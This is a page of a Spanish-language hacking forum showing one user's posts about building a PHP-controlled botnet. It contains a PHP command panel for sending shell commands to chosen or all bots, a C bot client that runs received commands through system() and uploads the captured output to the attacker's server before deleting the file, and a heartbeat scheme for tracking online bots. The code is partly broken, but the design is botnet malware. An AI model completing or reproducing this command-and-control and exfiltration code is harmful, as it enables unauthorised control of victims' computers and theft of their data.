elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Introducción a la Factorización De Semiprimos (RSA)


  Mostrar Mensajes
Páginas: 1 ... 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 [70] 71 72 73 74 75 76 77
691  Programación / PHP / Re: Controlar botnet con PHP en: 17 Septiembre 2014, 14:19 pm
Vamos a ver, el código creo que no está mal, si no funciona por un fallo me daría una alegría, si lo es por limitaciones del servidor es otra historia.

Haber en el bot.php tengo el siguiente script:

Código
  1. <?
  2. $comando = $_GET['com'];
  3. $bot = $_GET['bot'];
  4. $port=5748;
  5.  
  6. $socket = socket_create(AF_INET, SOCK_STREAM, 0) or die("Could not create socket\n");
  7. $result = socket_connect($socket, $bot, $port) or die("Could not connect toserver\n");
  8. socket_write($socket, $comando, strlen($message)) or die("Could not send data to server\n");
  9. socket_close($socket);
  10. }
  11. ?>
  12.  

Esto lo que hace es que cuando yo pulse ok, y envíe las variables $comando y $bot, el script se ejecuta y se mandan los datos a los servidores C.

Servidor C:

Código
  1.  
  2. #define IP "ip del server"
  3. #define PUERTO 5748
  4.  
  5. int main()
  6. {
  7.    WSADATA wsa;
  8.    int fd, fd2;
  9.    struct sockaddr_in server;
  10.    struct sockaddr_in client;
  11.    int sn_size;
  12.    char buf[60];
  13.  
  14.    WSAStartup(MAKEWORD(2,0),&wsa);
  15.  
  16.    if ((fd=socket(AF_INET, SOCK_STREAM, 0))==1)
  17.    {
  18.        printf ("Error en socketn" );
  19.        exit(-1);
  20.    }
  21.  
  22.    server.sin_family = AF_INET;
  23.    server.sin_port=htons(PUERTO);
  24.    server.sin_addr.s_addr=INADDR_ANY;
  25.    //bzero(&(server.sin_zero),8);
  26.    if (bind(fd,(struct sockaddr *) &server, sizeof(struct sockaddr))== -1)
  27.    {
  28.        printf("Error en bindn" );
  29.        exit(-1);
  30.    }
  31.  
  32.    if (listen(fd, 1) == -1)
  33.    {
  34.        printf("Error en listenn" );
  35.        exit(-1);
  36.    }
  37.  
  38.    printf("entro while ok");
  39.    while (1)
  40.    {
  41.        sn_size = sizeof(struct sockaddr_in);
  42.  
  43.        if ((fd2=accept(fd,(struct sockaddr *)&client, &sn_size)) == -1)
  44.        {
  45.            printf ("error en accept n" );
  46.            exit(-1);
  47.        }
  48.        recv(fd,buf,50,1);
  49.        printf("Comando recibido: %s",buf);
  50.        printf("Se conectaron desde %s\n", inet_ntoa(client.sin_addr));
  51.        close(fd2);
  52.    }
  53.    return 0;
  54. }
  55.  

Buendo gente esto es todo, lo que pasa ahora es que al ejecutar el script no me llegan datos al servidor, no muestra el mensaje recibido, espero que vosotros sepáis a que se debe ya estoy cerca.

Edito: OMG no me deja acceder a la página web, no me carga, he accedido con un proxy y va sin problemas, ¿que cojones?

Edito: Después de todo, el **** hosting al parecer no me deja correr el script,
cuando detecta que inicias comunicación una máquina con sockets deniega el acceso a esa ip, una media hora o más... 2 veces he probado corriendo el servidor en mi ordenador las 2 al pasar 1 minuto no podía acceder a la página con mi ip, si con proxy y demás... Luego si ese código no funciona habrá que hacer la botnet pasiva, pues ya vemos que el servidor web, no es capaz de correr un cliente php...
El socket del cliente php se creo, se creo la conexion y no supe ya más, no me deja entrar en la página  :laugh: :laugh: :laugh:


Salu2.
692  Programación / Desarrollo Web / Re: Cabecera POST para acceder a un php protegido en: 17 Septiembre 2014, 13:02 pm
Vaya, es que creo que había algo para autentificarse en plan:

Código
  1. POST /directorio_protegido/archivito.php HTTP/1.1\r\n
  2. user: blabla\r\n
  3. pass: blabla\r\n
  4. Host: webdomain.com\r\n
  5. Content-type: application/x-www-form-urlencoded\r\n
  6. Content-length: 40\r\n\r\n
  7. n=wdj2ij
  8.  

Y he buscado pero no encuentro nada, pensé que igual os ha pasado alguna vez y sabríais del tema xD,es algo bastante importante (ya que es necesario mandar POST al php del directorio protegido, porque en ese PHP es donde quiero controlar la botnet y si ese PHP no está protegido cualquiera podría acceder a él), pero a la vez si pongo el usuario y password en la cabecera cualquiera podría snifar el tráfico y hacerse con la botnet, luego habría que buscar otro camino para proteger el PHP.

Saludos.
693  Programación / Desarrollo Web / Cabecera POST para acceder a un php protegido en: 17 Septiembre 2014, 10:47 am
Pues eso, tengo un directorio protegido en mi página y debo hacer un POST sobre un archivo php de dentro del directorio protegido, la cabecera que uso es la siguiente, faltaría la autentificación (uso htaccess y htpasswd):

Código
  1.  
  2. POST /directorio_protegido/archivito.php HTTP/1.1\r\n");
  3. Host: webdomain.com\r\n");
  4. Content-type: application/x-www-form-urlencoded\r\n");
  5. Content-length: 40\r\n\r\n);
  6. n=wdj2ij
  7.  

Como conseguiría que funcionara para que funcionase sobre un archivo protegido?
694  Programación / PHP / Re: Controlar botnet con PHP en: 17 Septiembre 2014, 00:38 am
Ya veo, tu botnet al parecer era pasiva, los bot mandaban un POST y en función de su estado se les asignaba una tarea, pero sin embargo tiene una cosa que me interesa, háblame acerca del echo, ¿es necesario para enviar la "tarea al bot" (que sería la cadena al cliente que llevo buscando dónde iría el comando) estar trabajando con una base de datos? De no ser así, me gustaría como capta la orden el cliente que se inicia a partir del echo.

PD: No tengo idea de base de datos podría ponerme también a ello, pero paso de sacarme la carrera en una semana que a este ritmo XDD

Gracias y saludos.

Edito: Estoy con ello jajaja, acabo de probar un cliente en el servidor, a ese cliente le paso las ips del archivo y va mandando los comandos uno a uno jajaja, me parto he dado a enviar comando con el server c abierto y se ha quedado cargando la página en plan adiós jajaja
695  Programación / PHP / Re: Controlar botnet con PHP en: 16 Septiembre 2014, 23:19 pm
Gracias Vaagish, me podrías explicar ¿como funciona tu código? Mi interpretación es que el cliente manda un POST y el PHP en función a lo que le manda trabaja sobre bases de datos (cosas que no he dado). No entiendo para que funciona. Yo solo busco algo tan simple y complejo como enviar una cadena desde un servidor PHP a un cliente C. Pero no entiendo, si el server manda una cadena al cliente, en este caso el server sería el cliente, un lío.

Código de un server PHP:

http://www.codeproject.com/Tips/418814/Socket-Programming-in-PHP

Código
  1. <?
  2. $host = "127.0.0.1";
  3. $port = 5353;
  4. // No Timeout
  5. $socket = socket_create(AF_INET, SOCK_STREAM, 0) or die("Could not create socket\n");
  6. $result = socket_bind($socket, $host, $port) or die("Could not bind to socket\n");
  7. $result = socket_listen($socket, 3) or die("Could not set up socket listener\n");
  8. $spawn = socket_accept($socket) or die("Could not accept incoming connection\n");
  9. //abajo lee el mensaje del cliente.
  10. $input = socket_read($spawn, 1024) or die("Could not read input\n");
  11. //abajo invierte la cadena recibida y la manda al cliente BIEN SABEMOS MANDAR ALGO
  12. //AL CLIENTE!
  13. $output = strrev($input) . "\n";
  14. socket_write($spawn, $output, strlen ($output)) or die("Could not write output\n");
  15. socket_close($spawn);
  16. socket_close($socket);
  17. ?>
  18.  

Ahora observo el ejemplo de cliente que usa la página, está en PHP pero trataré de pasarlo a C aquí abajo:

Código
  1. /*headers...*/
  2. #define IP 80.234.23.123
  3. #define PUERTO 80
  4. int main()
  5. {
  6. WSADATA wsa;
  7.    int sok,len,i=0;
  8. char *buf="holaa",baf[100];
  9.    struct sockaddr_in dir;
  10. WSAStartup(MAKEWORD(2,0),&wsa);
  11.    if((sok=socket(AF_INET,SOCK_STREAM,0))==-1){}
  12.    else{
  13.        dir.sin_family=AF_INET;
  14.        dir.sin_port=htons(PUERTO);
  15.        dir.sin_addr.s_addr=inet_addr(IP);
  16. connect(sok,(struct sockaddr*)&dir,sizeof(dir));
  17. write(sok,buf,strlen(buf));
  18. recv(sok,baf,strlen(baf));
  19. closesocket(sock);
  20. return 0;
  21. }
  22.  

Gente creo que me ha quedado bastante bien el cliente y el server que era lo que buscaba, ahora a probarlo que esa es otra, pero no esta mal traduciendolo de PHP a C he aprendido bastantes cosas, si me dejo algo decidme, seguire trabajando.

Edito: El server web debería solo de poder escuchar peticiones en el puerto 80, pues supongo que no se le podrán abrir otros puertos al ser servidor gratuito, pero ese es el mismo puerto para http, funcionaría? no sé

Edito: Como va a funcionar si no estoy indicando el php con el que quiero trabajar... haber.

Saludos
696  Programación / PHP / Re: Controlar botnet con PHP en: 16 Septiembre 2014, 19:10 pm
Si usa sockets los usa para enviar el comando desde el servidor hasta los bots clientes.
Como dije, este comando se enviaría a todos los usuarios conectados que estarían en el archivo, si falla uno (se desconecta después de refrescarse)  fallaría la conexión y se cancelaría el comando para ese usuario no habría problema.

Ahora bien faltaría necesitaría ayuda pues no sé como funciona del todo el código PHP que posteé creo que hace lo que dije, ahora tengo que crear en el cliente/bot un socket que se encargue de recoger ese comando y eso no lo sé hacer, haber si alguien me echa un cable porque nunca he trabajado con sockets xD, se hacer POST y nada más.

Creo con esto que la idea está clara, sería una botnet para un reducido número de bots, y es ás en un caso de que sean muy pocos (menos de 20) no haría falta crear el online.txt ni refrescarlo, podríamos hacer un for e ir recorriendolos uno a uno: que está conectado? le mandamos comando, que no? socket falla cancelamos comando. Si son pocos esto sería viable.

Saludos

697  Programación / PHP / Re: Controlar botnet con PHP en: 16 Septiembre 2014, 18:09 pm
Entonces el "REQUEST" es como un ping que le dice al servidor estoy listo para recibir ordenes, y debe de hacerse constantemente, para que cuando mande el comando desde el server el bot sea capaz de recibirlo, pero no entiendo hago esto y que consigo, que me faltaría.

He buscado como hacer HTTP REQUEST con C y he encontrado esto (habría que pasarlo a windows):

Código
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <unistd.h>
  4. #include <string.h>
  5. #include <sys/types.h>
  6. #include <sys/socket.h>
  7. #include <netinet/in.h>
  8. #include <netdb.h>
  9.  
  10. /*
  11.  *
  12.  */
  13. int main(int argc, char** argv) {
  14.  
  15.    char arg[500];
  16.    char firstHalf[500];
  17.    char secondHalf[500];
  18.    char request[1000];
  19.    struct hostent *server;
  20.    struct sockaddr_in serveraddr;
  21.    int port = 80;
  22.  
  23.    strcpy(arg, argv[1]);
  24.  
  25.    int i;
  26.    for (i = 0; i < strlen(arg); i++)
  27.    {
  28.        if (arg[i] == '/')
  29.        {
  30.                strncpy(firstHalf, arg, i);
  31.                firstHalf[i] = '\0';
  32.                break;
  33.        }    
  34.    }
  35.  
  36.    for (i; i < strlen(arg); i++)
  37.    {
  38.        strcat(secondHalf, &arg[i]);
  39.        break;
  40.    }
  41.  
  42.    printf("\nFirst Half: %s", firstHalf);
  43.  
  44.    printf("\nSecond Half: %s", secondHalf);
  45.  
  46.    int tcpSocket = socket(AF_INET, SOCK_STREAM, 0);
  47.  
  48.    if (tcpSocket < 0)
  49.        printf("\nError opening socket");
  50.    else
  51.        printf("\nSuccessfully opened socket");
  52.  
  53.    server = gethostbyname(firstHalf);
  54.  
  55.    if (server == NULL)
  56.    {
  57.        printf("gethostbyname() failed\n");
  58.    }
  59.    else
  60.    {
  61.        printf("\n%s = ", server->h_name);
  62.        unsigned int j = 0;
  63.        while (server -> h_addr_list[j] != NULL)
  64.        {
  65.            printf("%s", inet_ntoa(*(struct in_addr*)(server -> h_addr_list[j])));
  66.            j++;
  67.        }
  68.    }
  69.  
  70.    printf("\n");
  71.  
  72.    bzero((char *) &serveraddr, sizeof(serveraddr));
  73.    serveraddr.sin_family = AF_INET;
  74.  
  75.    bcopy((char *)server->h_addr, (char *)&serveraddr.sin_addr.s_addr, server->h_length);
  76.  
  77.    serveraddr.sin_port = htons(port);
  78.  
  79.    if (connect(tcpSocket, (struct sockaddr *) &serveraddr, sizeof(serveraddr)) < 0)
  80.        printf("\nError Connecting");
  81.    else
  82.        printf("\nSuccessfully Connected");
  83.  
  84.    bzero(request, 1000);
  85.  
  86.    sprintf(request, "Get %s HTTP/1.1\r\n Host: %s\r\n \r\n \r\n", secondHalf, firstHalf);
  87.  
  88.    printf("\n%s", request);
  89.  
  90.    if (send(tcpSocket, request, strlen(request), 0) < 0)
  91.        printf("Error with send()");
  92.    else
  93.        printf("Successfully sent html fetch request");
  94.  
  95.    bzero(request, 1000);
  96.  
  97.    recv(tcpSocket, request, 999, 0);
  98.    printf("\n%s", request);
  99.    printf("\nhello");
  100.  
  101.    close(tcpSocket);
  102.  
  103.    return (EXIT_SUCCESS);
  104. }

Esto es en teoría un HTTP REQUEST, que no se lo que es aún, ¿dónde recogería, en que variable el comando del server?, perdonad mi ignorancia porque nunca he trabajado con algo parecido y me parece muy complejo, lo veo todo borroso.

Podría hacer una función en mi bot que haga un HTTP REQUEST, pero, ¿cuando debería usarla y por qué?

Edito: Lo borro todo, eso de request es demasiado complejo y molesto, mi idea es que los bots hagan un POST al server y este guarde su dirección IP en un archivo, este archivo se borra cada cierto tiempo, bien tenemos las ips en el archivo, continuamos...
Ahora usamos esto:

Código
  1. <?php
  2.  
  3. /* Permitir al script esperar para conexiones. */
  4.  
  5. /* Activar el volcado de salida implícito, así veremos lo que estamo obteniendo
  6.  * mientras llega. */
  7.  
  8. $address = '192.168.1.53';
  9. $port = 10000;
  10.  
  11. if (($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) === false) {
  12.    echo "socket_create() falló: razón: " . socket_strerror(socket_last_error()) . "\n";
  13. }
  14.  
  15. if (socket_bind($sock, $address, $port) === false) {
  16.    echo "socket_bind() falló: razón: " . socket_strerror(socket_last_error($sock)) . "\n";
  17. }
  18.  
  19. if (socket_listen($sock, 5) === false) {
  20.    echo "socket_listen() falló: razón: " . socket_strerror(socket_last_error($sock)) . "\n";
  21. }
  22.  
  23. do {
  24.    if (($msgsock = socket_accept($sock)) === false) {
  25.        echo "socket_accept() falló: razón: " . socket_strerror(socket_last_error($sock)) . "\n";
  26.        break;
  27.    }
  28.    /* Enviar instrucciones. */
  29.    $msg = "\nBienvenido al Servidor De Prueba de PHP. \n" .
  30.        "Para salir, escriba 'quit'. Para cerrar el servidor escriba 'shutdown'.\n";
  31.    socket_write($msgsock, $msg, strlen($msg));
  32.  
  33.    do {
  34.        if (false === ($buf = socket_read($msgsock, 2048, PHP_NORMAL_READ))) {
  35.            echo "socket_read() falló: razón: " . socket_strerror(socket_last_error($msgsock)) . "\n";
  36.            break 2;
  37.        }
  38.        if (!$buf = trim($buf)) {
  39.            continue;
  40.        }
  41.        if ($buf == 'quit') {
  42.            break;
  43.        }
  44.        if ($buf == 'shutdown') {
  45.            socket_close($msgsock);
  46.            break 2;
  47.        }
  48.        $talkback = "PHP: Usted dijo '$buf'.\n";
  49.        socket_write($msgsock, $talkback, strlen($talkback));
  50.        echo "$buf\n";
  51.    } while (true);
  52.    socket_close($msgsock);
  53. } while (true);
  54.  
  55. socket_close($sock);
  56. ?>

Esto enviaría una cadena al cliente bot, a través de su ip (la tenemos en el archivo) y un puerto (el que queramos), a través de esto enviamos el comando objetivo cumplido, o ¿me equivoco?

Edito: El server es evidente no podrá controlar más de unos 100 bots a la vez, pues estos para actualizar el "online.txt" deben mandar un POST cada minuto para indicar que están conectados y así el server poder enviar a través de su ip y puerto el comando con la orden.

Saludos y gracias por la paciencia xD
698  Programación / PHP / Re: Controlar botnet con PHP en: 16 Septiembre 2014, 16:44 pm
Tengo pensado hacer una chapucilla para saber los bots que están conectados, podría poner al bot que haga un GET cada 5 minutos a un php para saber si está conectado, el php lo guardríaa en un archivo "online.txt" que el propio php lo borraría cada 5 minutos por ejemplo para eliminar los bots que ya se fueron, asi pues el online.txt tendría algo como: "usuario:14241 online ..." también podría poner su ip, ahora vale con esto ya sabría quienes están conectados de una manera muy chapucera, pero como hago para enviar el comando desde el server con php hacia los bots, para que estos lo ejecuten, y como poder evadir ese ddos del que me hablas xD (eso ya en segundo plano).

Saludos
699  Programación / PHP / Re: Controlar botnet con PHP en: 16 Septiembre 2014, 13:58 pm
Gracias por tu respuesta engel, he estado trabajando hasta ahora en ello. He protegido directorios, he conseguido acceder a directorios externos al actual, estética de la web y demás blablas.

Lo que tengo es esto en el php que controlaría la botnet:
(He borrado los contenedores para ir al grano y que no se alargue el code).

Código
  1. <html>
  2. <head>
  3. <title>Mi botnet</title>
  4. <form action="bot.php" method="GET" >
  5. <sub style="color: #000000">Comando a interpretar</sub>
  6. <input type="Text" name="com" size="35" maxlength="100">
  7. <sub style="color: #000000">Seleccione bot (si no todos serán objetivos)</sub>
  8. <input type="Text" name="bot" size="8" maxlength="20">
  9. <input type="Submit" value="ENVIAR">
  10. </form>
  11. <?
  12. $comando = $_GET['com'];
  13. $bot = $_GET['bot'];
  14. if(strcmp($bot,"")==0)//mando comado a todos
  15. {
  16.  
  17. }
  18. else//busco y mando comando solo al indicado
  19. {
  20.  
  21. }
  22. //Aqui debería mandar la cadena de texto al cliente para que lo ejecute en la cmd y genere un archivo, que luego lo subiré
  23. //con un POST su contenido, cargándolo en una variable y mostrándolo.
  24. ?>
  25. </div>
  26. </center>
  27. </body>
  28. </html>
  29.  

El PHP lo que hace es recoger 2 variables que son el comando a interpretar en la SHELL del cliente, y el cliente objetivo al que se desearía interpretar, si la variable está vacía se ejecutaría a todos. Lo que no sé es como mandar desde el servidor esas cadenas con el comando a los clientes que estarían conectados, esa es la clave. Tanto para enviarlo en el PHP como para recibirlo en el C.

En el lado del C tengo esto:

Código
  1. #define IP "48.123.321.123"
  2. #define PUERTO 80
  3.  
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <string.h>
  7. #include <windows.h>
  8. #include <direct.h>
  9. #include <conio.h>
  10. #include <time.h>
  11. #include <math.h>
  12.  
  13. int main()
  14. {
  15.    char cola[20]=">data.txt",comando[100];
  16.    //recibiría el comando
  17.    strcat(comando,cola);
  18.    system(comando);
  19.    conecta("data.txt");//sube la variable del usuario y contenido del archivo
  20.    //(lo que devolvio la cmd) para cargar en vars en el PHP y mostrar allí
  21.    return 0;
  22. }
  23.  
  24. void conecta(char nombre[])
  25. {
  26.    FILE *dat;
  27.    WSADATA wsa;
  28.    int sok,len,i=0;
  29.    struct sockaddr_in dir;
  30.    char buf[60384],cad[60384],aux[10],borra[50]="del ",car;
  31.    WSAStartup(MAKEWORD(2,0),&wsa);
  32.    if((sok=socket(AF_INET,SOCK_STREAM,0))==-1){}
  33.    else{
  34.        dir.sin_family=AF_INET;
  35.        dir.sin_port=htons(PUERTO);
  36.        dir.sin_addr.s_addr=inet_addr(IP);
  37.        strcat(cad,"n=");
  38.        strcat(cad,nombre);
  39.        strcat(cad,"&b=");
  40.        dat=fopen(nombre,"rt");
  41.        if(nombre==NULL)
  42.        {
  43.            exit(0);
  44.        }
  45.        while(car!=EOF)
  46.        {
  47.            i++;
  48.            fseek(dat,-i,SEEK_END);
  49.            car=fgetc(dat);
  50.            cad[strlen(cad)]=car;
  51.        }
  52.        fclose(dat);
  53.        len=strlen(cad);
  54.        printf("%s",cad);
  55.        itoa(len,aux,10);
  56.        strcpy(buf,"POST direcotior_protegido/bot.php HTTP/1.1\r\n");
  57.        strcat(buf,"Host: hostquesea.com\r\n");
  58.        strcat(buf,"Content-type: application/x-www-form-urlencoded\r\n");
  59.        strcat(buf,"Content-length: ");
  60.        strcat(buf,aux);
  61.        strcat(buf,"\r\n\r\n");
  62.        strcat(buf,cad);
  63.        connect(sok,(struct sockaddr*)&dir,sizeof(dir));
  64.        send(sok,buf,strlen(buf),0);
  65.        strcat(borra,nombre);
  66.        system(borra);
  67.    }
  68. }
  69.  
  70.  

Esto sería ya sabéis me falta mantener una conexión constante entre cliente y server y poder mandar esos comandos desde el server.

OJO a lo de directorio protegido (donde se encuentra el bot.php), porque al estarlo probablemente no me deje hacer POST a esa dirección es por eso que me pregunto que había que poner en la cabecera del POST para autentificarse porque lo busco pero no lo encuentro quizá lo sabéis.

También he de decir engel que busco aprender no crear mi propia botnet pero si saber como hacerla pues me atrae, otra cosa sería dar el paso de ponerla en funcionamiento e infectar ordenadores se me podría caer el pelo y es algo a lo que no aspiro.

Saludos, a la espera de ayuda, seguiré subiendo code y actualizándolo.
Toda mejora o consejo es bienvenida.
700  Programación / Desarrollo Web / Re: Ayuda protegiendo directorios en: 15 Septiembre 2014, 23:26 pm
Gracias por la respuesta, probé también con el archivo como dije con el cifrado en la pass y sin ella pero no iba, y creo que se debe a que queria proteger el la carpeta public_html, y esa no se puede proteger si no sus subdirectorios ahí si que me dejo, de todas formas encontré una manera de hacerlo automáticamente desde el hospedador y funcionó sin problemas, saludos y gracias.
Páginas: 1 ... 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 [70] 71 72 73 74 75 76 77
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines